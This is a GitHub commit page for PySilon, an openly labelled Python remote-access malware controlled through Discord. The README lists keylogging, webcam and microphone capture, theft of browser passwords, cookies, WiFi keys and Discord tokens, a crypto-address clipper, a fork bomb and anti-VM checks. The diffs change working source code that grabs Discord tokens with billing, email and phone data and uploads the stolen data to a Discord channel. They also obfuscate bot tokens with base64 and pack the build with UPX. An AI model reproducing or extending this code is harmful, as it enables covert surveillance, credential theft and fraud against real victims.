Skip to content

Commit c4fa9b3

Browse files
authored
Merge pull request #198 from mategol/py-dev
update 3.5
2 parents 849d5b0 + 761cc1b commit c4fa9b3

File tree

13 files changed

+157
-61
lines changed

13 files changed

+157
-61
lines changed

README.md

Lines changed: 82 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,12 @@
1-
# PySilon
1+
<span align='center'>
2+
3+
# `PySilon Malware`
24

35
<p align='center'><img src="https://user-images.githubusercontent.com/44233157/205148071-ed0f810e-be71-4b18-8c6b-94e838ebda5d.png" width=500 /></p>
46

5-
Advanced RAT malware written in Python, fully controllable through Discord with dedicated GUI builder to make preparation easier.
7+
`Advanced RAT malware written in Python, fully controllable through Discord with dedicated GUI builder to make preparation easier.`
8+
9+
</span>
610

711
--------------------
812

@@ -12,15 +16,86 @@ Join our discord to keep up with the progress, ask questions, recommend features
1216

1317
[![Discord](https://img.shields.io/discord/1114568569850699847?color=7289da&logo=discord&logoColor=white)](https://discord.gg/pysilon)
1418

15-
## Setup / Install
19+
--------------------
20+
21+
# Table of contents
22+
- <a href="https://github.com/mategol/PySilon-malware#disclaimer">Disclaimer</a>
23+
- <a href="https://github.com/mategol/PySilon-malware#features">Features</a>
24+
- <a href="https://github.com/mategol/PySilon-malware#preparation">Preparation</a>
25+
- <a href="https://github.com/mategol/PySilon-malware#available-commands">Available commands</a>
26+
- <a href="https://github.com/mategol/PySilon-malware#setup">Setup</a>
27+
- <a href="https://github.com/mategol/PySilon-malware#building-standalone-executable">Building executable</a>
28+
- <a href="https://github.com/mategol/PySilon-malware#autonomic-features">Autonomic features</a>
29+
- <a href="https://github.com/mategol/PySilon-malware#commands-manual">Commands manual</a>
30+
31+
--------------------
32+
33+
# Disclaimer
34+
> Information and code provided on this repository are for educational purposes only. The creator is no way responsible for any direct or indirect damage caused due to the misusage of the information. Everything you do, you are doing at your own risk and responsibility.
1635
17-
This section has been moved to [our wiki page](https://github.com/mategol/PySilon-malware/wiki).
36+
--------------------
37+
38+
# Features
39+
### PySilon malware can do plenty of things, like:
40+
- handle multiple PCs (not only one, like in most of the cases)
41+
- UAC Bypass (gain *Administrative permissions* on startup)
42+
- log every key pressed on *keyboard*
43+
- take *screenshots* anytime you want
44+
- record *screen* anytime you want
45+
- take images from *webcam*
46+
- *block* the *mouse* and *keyboard*
47+
- steal saved *WiFi* passwords
48+
- record *microphone* input (24/7) and save it in *.wav* files
49+
- stream live *microphone* input on voice channel
50+
- browse *files* on target PC
51+
- upload and download *files* from target PC
52+
- grab *history*, *cookies* and *passwords* saved in web browsers
53+
- grab *discord tokens* and system information
54+
- browse and kill running *processes*
55+
- execute files
56+
- replace copied *crypto currency wallet* addresses to your [configured] ones
57+
- trigger *Blue Screen of Death*
58+
- execute *fork bomb* (crash the PC)
59+
- *Anti-VM* (PySilon wont run on Virtual Machines, f.ex.: VirtualBox, VMWare)
60+
- run *CMD* commands
61+
- ***Debug Mode*** for easier testing and `contribution`
1862

1963
--------------------
2064

21-
## Donate
65+
# Preparation<br />
2266

23-
If you like this project, you can donate to support us developing this malware. Donations help us spend more time working on this open-source project. All donations are greatly appreciated! :3
67+
`git clone https://github.com/mategol/pysilon-malware`<br />
68+
`cd pysilon-malware`<br />
69+
<a href="https://github.com/mategol/pysilon-malware#setup">`Create Discord BOT and server`</a><br />
70+
***Windows:*** `Run the PySilon.bat either from Command Line or double clicking on it`<br />
71+
***Linux:*** `Run the PySilon.sh from Command Line`<br />
72+
73+
--------------------
74+
75+
# Available commands
76+
<a href="https://github.com/mategol/pysilon-malware#ss">`.ss`</a> - take screenshot at any time<br />
77+
<a href="https://github.com/mategol/pysilon-malware#ss">`.screenrec`</a> - record the screen for 15 seconds<br />
78+
<a href="https://github.com/mategol/pysilon-malware#ss">`.webcam`</a> - take a picture from connected webcam<br />
79+
<a href="https://github.com/mategol/pysilon-malware#ss">`.block-input`</a> - block the mouse and keyboard (`.unblock-input` to unblock it)<br />
80+
<a href="https://github.com/mategol/pysilon-malware#grab-what-to-grab">`.grab <what-to-grab>`</a> - grab for example saved passwords in web browsers<br />
81+
<a href="https://github.com/mategol/pysilon-malware#join">`.join`</a> - join voice-channel and stream live microphone input<br />
82+
<a href="https://github.com/mategol/pysilon-malware#pwd">`.pwd`</a> - show working directory<br />
83+
<a href="https://github.com/mategol/pysilon-malware#tree">`.tree`</a> - show tree of working directory<br />
84+
<a href="https://github.com/mategol/pysilon-malware#cd-directory">`.cd <dir>`</a> - change working directory<br />
85+
<a href="https://github.com/mategol/pysilon-malware#ls">`.ls`</a> - list content of working directory<br />
86+
<a href="https://github.com/mategol/pysilon-malware#upload-type-filename">`.upload <type> [name]`</a> - upload any file or zipped directory (also greater than 8MB ones) onto target PC<br />
87+
<a href="https://github.com/mategol/pysilon-malware#download-file-or-directory">`.download <file-or-dir>`</a> - download any file or zipped directory (also greater than 8MB ones) from target PC<br />
88+
<a href="https://github.com/mategol/pysilon-malware#show-what-to-show">`.show <what-to-show>`</a> - get list of running processes or available commands<br />
89+
<a href="https://github.com/mategol/pysilon-malware#kill-process-id">`.kill <process-id>`</a> - kill any running process<br />
90+
<a href="https://github.com/mategol/pysilon-malware#execute-file">`.execute <file>`</a> - run any file on target PC<br />
91+
<a href="https://github.com/mategol/pysilon-malware#ss">`.start-clipper`</a> - start crypto-clipper (swap crypto currency wallet addresses to your ones, `.stop-clipper` to stop it)<br />
92+
<a href="https://github.com/mategol/pysilon-malware#ss">`.bsod`</a> - trigger Blue Screen of Death<br />
93+
<a href="https://github.com/mategol/pysilon-malware#ss">`.forkbomb`</a> - execute fork bomb<br />
94+
<a href="https://github.com/mategol/pysilon-malware#remove-file-or-dir">`.remove <file-or-dir>`</a> - remove file or directory on target PC<br />
95+
<a href="https://github.com/mategol/pysilon-malware#implode">`.implode`</a> - remove PySilon from target PC and clean the "evidence"<br />
96+
<a href="https://github.com/mategol/pysilon-malware#clear">`.clear`</a> - clear messages from file-related channel<br />
97+
98+
--------------------
2499

25100
### Donation methods
26101

@@ -33,10 +108,8 @@ If you like this project, you can donate to support us developing this malware.
33108

34109
List of features that should appear in following releases:
35110

36-
- [ ] optional ransomware
37-
- [ ] fork bomb (wabbit)
111+
- [ ] optional ransomware
38112
- [ ] webhook connection in case of unexpected circumstances (like BOT-Token banned by Discord)
39-
- [ ] different acting on Virtual-Machines (like Blue Screen of Death)
40113
- [ ] overall system info grabber with cool Discord Embeds
41114
- [ ] traditional reverse shell creator
42115
- [ ] grab credit cards information

builder.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -253,7 +253,7 @@ def assemble_source_code():
253253
source_assembled.write(' '*variable_intendation + (' '*variable_intendation).join(source_code_modifiers[variable_name]))
254254
else: source_assembled.write('\n')
255255
if base_line == '# [pysilon_var] bottom 0\n' and config['FUNCTIONALITY']['keylogr'] == 'False':
256-
source_assembled.write('for token in bot_tokens:\n try:\n client.run(token)\n except: pass')
256+
source_assembled.write('for token in bot_tokens:\n decoded_token = base64.b64decode(token).decode()\n try:\n client.run(decoded_token)\n except: pass')
257257
elif '# [pysilon_mark] !debug' in base_line and not debug_mode: pass
258258
elif '# [pysilon_mark] !anti-vm' in base_line and debug_mode: pass
259259
else:
@@ -399,7 +399,7 @@ def config_modification(var=None, index=None, mode=None):
399399
cbvar_forkbmb = BooleanVar(value=True)
400400

401401
def open_crypto_clipper_config():
402-
json_file_path = 'crypto_clipper.json'
402+
json_file_path = 'resources/crypto_clipper.json'
403403
if os.path.exists(json_file_path):
404404
subprocess.Popen(['notepad.exe', json_file_path])
405405

compiler.py

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import configparser
22
import hashlib
33
import sys
4+
import base64
45
import os
56

67
def get_file_hash(path):
@@ -18,13 +19,17 @@ def compile(debug_mode):
1819
if len(config['SETTINGS']) != 12 or len(config['FUNCTIONALITY']) != 18:
1920
return 'Config corrupted'
2021

21-
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + '--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
22+
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --upx-dir "resources/" --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + '--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="resources/crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
23+
24+
token_1 = base64.b64encode(config['SETTINGS']['bot_token_1'].encode()).decode()
25+
token_2 = base64.b64encode(config['SETTINGS']['bot_token_2'].encode()).decode() if config['SETTINGS']['bot_token_2'] != '' else None
26+
token_3 = base64.b64encode(config['SETTINGS']['bot_token_3'].encode()).decode() if config['SETTINGS']['bot_token_3'] != '' else None
2227

2328
with open('PySilon.key', 'wb') as save_key: save_key.write(os.urandom(1024*1024))
2429
with open('source_assembled.py', 'r', encoding='utf-8') as copy_source_code: source_code = copy_source_code.readlines()
2530
with open('source_prepared.py', 'w', encoding='utf-8') as edit_source_code:
2631
for line_number, line in enumerate(source_code):
27-
if line.startswith('bot_tokens'): edit_source_code.write('bot_tokens = [\'' + config['SETTINGS']['bot_token_1'] + (('\', \'' + config['SETTINGS']['bot_token_2']) if config['SETTINGS']['bot_token_2'] != '' else '') + (('\', \'' + config['SETTINGS']['bot_token_3']) if config['SETTINGS']['bot_token_3'] != '' else '') + '\']\n')
32+
if line.startswith('bot_tokens'): edit_source_code.write(f"bot_tokens = {[token for token in [token_1, token_2, token_3] if token is not None]}\n")
2833
elif line.startswith('software_registry_name'): edit_source_code.write('software_registry_name = \'' + config['SETTINGS']['registry_name'] + '\'\n')
2934
elif line.startswith('software_directory_name'): edit_source_code.write('software_directory_name = \'' + config['SETTINGS']['directory_name'] + '\'\n')
3035
elif line.startswith('software_executable_name'): edit_source_code.write('software_executable_name = \'' + config['SETTINGS']['executable_name'] + ('' if config['SETTINGS']['executable_name'].endswith('.exe') else '.exe') + '\'\n')

crypto_clipper.json renamed to resources/crypto_clipper.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
{
2-
"BTC": "",
2+
"BTC": "asdrgqwaergae",
33
"ETH": "",
44
"DOGE": "",
55
"LTC": "",

resources/discord_token_grabber.py

Lines changed: 21 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@
88
from win32crypt import CryptUnprotectData
99

1010
class grab_discord():
11-
def initialize():
12-
return fetch_tokens().upload()
11+
def initialize(raw_data):
12+
return fetch_tokens().upload(raw_data)
1313

1414
class extract_tokens:
1515
def __init__(self) -> None:
@@ -121,7 +121,7 @@ class fetch_tokens:
121121
def __init__(self):
122122
self.tokens = extract_tokens().tokens
123123

124-
def upload(self):
124+
def upload(self, raw_data):
125125
if not self.tokens:
126126
return
127127
final_to_return = []
@@ -190,23 +190,27 @@ def upload(self):
190190
else: codes = None
191191
else: codes = None
192192

193-
embed = Embed(title=f"{username} ({user_id})", color=0x0084ff)
194-
embed.set_thumbnail(url=avatar)
193+
if not raw_data:
194+
embed = Embed(title=f"{username} ({user_id})", color=0x0084ff)
195+
embed.set_thumbnail(url=avatar)
195196

196-
embed.add_field(name="\u200b\n📜 Token:", value=f"```{token}```\n\u200b", inline=False)
197-
embed.add_field(name="💎 Nitro:", value=f"{nitro}", inline=False)
198-
embed.add_field(name="💳 Billing:", value=f"{payment_methods if payment_methods != '' else 'None'}", inline=False)
199-
embed.add_field(name="🔒 MFA:", value=f"{mfa}\n\u200b", inline=False)
200-
201-
embed.add_field(name="📧 Email:", value=f"{email if email != None else 'None'}", inline=False)
202-
embed.add_field(name="📳 Phone:", value=f"{phone if phone != None else 'None'}\n\u200b", inline=False)
197+
embed.add_field(name="\u200b\n📜 Token:", value=f"```{token}```\n\u200b", inline=False)
198+
embed.add_field(name="💎 Nitro:", value=f"{nitro}", inline=False)
199+
embed.add_field(name="💳 Billing:", value=f"{payment_methods if payment_methods != '' else 'None'}", inline=False)
200+
embed.add_field(name="🔒 MFA:", value=f"{mfa}\n\u200b", inline=False)
201+
202+
embed.add_field(name="📧 Email:", value=f"{email if email != None else 'None'}", inline=False)
203+
embed.add_field(name="📳 Phone:", value=f"{phone if phone != None else 'None'}\n\u200b", inline=False)
203204

204205

205-
if hq_guilds != None:
206-
embed.add_field(name="🏰 HQ Guilds:", value=hq_guilds, inline=False)
206+
if hq_guilds != None:
207+
embed.add_field(name="🏰 HQ Guilds:", value=hq_guilds, inline=False)
207208

208-
if codes != None:
209-
embed.add_field(name="\u200b\n🎁 Gift Codes:", value=codes, inline=False)
209+
if codes != None:
210+
embed.add_field(name="\u200b\n🎁 Gift Codes:", value=codes, inline=False)
210211

211-
final_to_return.append(embed)
212+
final_to_return.append(embed)
213+
else:
214+
#final_to_return.append(f'Username: {username} ({user_id})\nToken: {token}\nNitro: {nitro}\nBilling: {payment_methods if payment_methods != "" else "None"}\nMFA: {mfa}\nEmail: {email if email != None else "None"}\nPhone: {phone if phone != None else "None"}\nHQ Guilds: {hq_guilds}\nGift codes: {codes}')
215+
final_to_return.append(json.dumps({'username': username, 'token': token, 'nitro': nitro, 'billing': (payment_methods if payment_methods != "" else "None"), 'mfa': mfa, 'email': (email if email != None else "None"), 'phone': (phone if phone != None else "None"), 'hq_guilds': hq_guilds, 'gift_codes': codes}))
212216
return final_to_return

resources/mrd.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,8 @@ async def on_ready():
1919
except:
2020
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'w', encoding='utf-8') as error_log: error_log.write('Error (or fresh OS)')
2121
try: discord_grabbed = discord_token_grabber.grab_discord.initialize(True)
22-
except: discord_grabbed = 'error'
22+
except Exception as error: discord_grabbed = 'error -> ' + str(error)
2323
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'r', encoding='utf-8') as copy_cookies: cookies = copy_cookies.readlines()
24-
with open(f'C:\\Users\\{getuser()}\\{hwid}.txt', 'w', encoding='utf-8') as save_results: save_results.write('Passwords:\n' + str(passwords) + '\n\n\nDiscord:\n' + ('\n---\n'.join(discord_grabbed) if discord_grabbed != 'error' else discord_grabbed) + '\n\n\nCookies:\n' + ''.join(cookies))
24+
with open(f'C:\\Users\\{getuser()}\\{hwid}.txt', 'w', encoding='utf-8') as save_results: save_results.write('Passwords:\n' + str(passwords).replace('\'', '"') + '\n\n\nDiscord:\n' + ('\n---\n'.join(discord_grabbed) if discord_grabbed[:5] != 'error' else discord_grabbed) + '\n\n\nCookies:\n' + ''.join(cookies))
2525
await Client.get_channel(channel_id).send(file=discord.File(f'C:\\Users\\{getuser()}\\{hwid}.txt', filename=f'{hwid}.txt')); subprocess.run(f'del C:\\Users\\{getuser()}\\{hwid}.txt', shell=True); subprocess.run(f'del C:\\Users\\{getuser()}\\cookies.txt', shell=True)
2626
Client.run(bot_token)

resources/source_code/grabber.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,7 @@
8282
#.log Sent embed with saved WiFi passwords
8383
elif message.content[6:] == 'discord':
8484
#.log Author requested for grabbing Discord accounts data
85-
accounts = grab_discord.initialize()
85+
accounts = grab_discord.initialize(False)
8686
#.log Grabbed Discord accounts data
8787
for account in accounts:
8888
reaction_msg = await message.channel.send(embed=account); await reaction_msg.add_reaction('📌')

resources/source_code/keylogger.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,8 +56,9 @@ def on_press(key):
5656
# bottom
5757
with Listener(on_press=on_press) as listener:
5858
for token in bot_tokens:
59+
decoded_token = base64.b64decode(token).decode()
5960
try:
60-
client.run(token)
61+
client.run(decoded_token)
6162
#.log Started Discord BOT client session
6263
except: pass
6364
#.log Starting keylogger

resources/source_code/process.py

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -125,10 +125,8 @@
125125
#.log Checking if there is a process with provided process ID
126126
if int(message.content[6:]) < len(processes_list) and int(message.content[6:]) > 0:
127127
#.log Found a process with provided process ID
128-
embed = discord.Embed(title="🟢 Success",description='```Do you really want to kill process: ' + processes_list[int(message.content[6:])].replace('`', '') + '\nReact with 💀 to kill it or 🔴 to cancel...```', colour=discord.Colour.green())
129-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
130-
reaction_msg = await message.channel.send(embed=embed)
131-
#.log Sent embed with confirmation of killing a process
128+
reaction_msg = await message.channel.send('```Do you really want to kill process: ' + processes_list[int(message.content[6:])].replace('`', '') + '\nReact with 💀 to kill it or 🔴 to cancel...```')
129+
#.log Sent message with confirmation of killing a process
132130
process_to_kill = [processes_list[int(message.content[6:])].replace('`', ''), False]
133131
await reaction_msg.add_reaction('💀')
134132
#.log Reacted with "kill"

resources/source_code/webcam.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929
camera = pygame.camera.Camera(cameras[0])
3030
#.log Selected the default camera
3131
camera.start()
32-
time.sleep(0.5)
32+
time.sleep(1)
3333
#.log Started camera intercepting
3434
image = camera.get_image()
3535
#.log Took image from camera

0 commit comments

Comments
 (0)